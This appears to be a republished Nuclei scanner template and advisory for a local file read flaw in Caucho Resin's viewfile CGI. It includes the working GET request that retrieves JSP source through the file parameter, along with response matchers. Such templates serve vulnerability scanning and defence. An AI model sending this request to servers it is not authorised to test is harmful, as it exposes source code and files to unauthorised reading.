resin-viewfile-lfr: Caucho Resin LFR

2025-08-01 Caucho Resin PoC Public

Description

There is an input verification vulnerability in the implementation of a certain CGI program in Resin. A remote attacker may use this vulnerability to read any files in the home directory of the Web, including JSP source code or class files.

PoC

id: resin-viewfile-lfr

info:
  name: Caucho Resin LFR
  author: princechaddha
  severity: high
  description: There is an input verification vulnerability in the implementation of a certain CGI program in Resin. A remote attacker may use this vulnerability to read any files in the home directory of the Web, including JSP source code or class files.
  reference:
    - http://0day5.com/archives/1173/
    - https://www.cnvd.org.cn/flaw/show/CNVD-2006-3205
  metadata:
    max-request: 1
  tags: resin,caucho,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/resin-doc/viewfile/?file=index.jsp"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
        part: body
# digest: 4a0a0047304502206986321d67765a11a27a8e68fe457b1361dd0b8431a2b7c5841623d834c3e7c6022100e986c571d91e61c370ed4518793294f2ecc5951425d501f05f2cd6801bd12012:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/resin-viewfile-lfr.yaml

References

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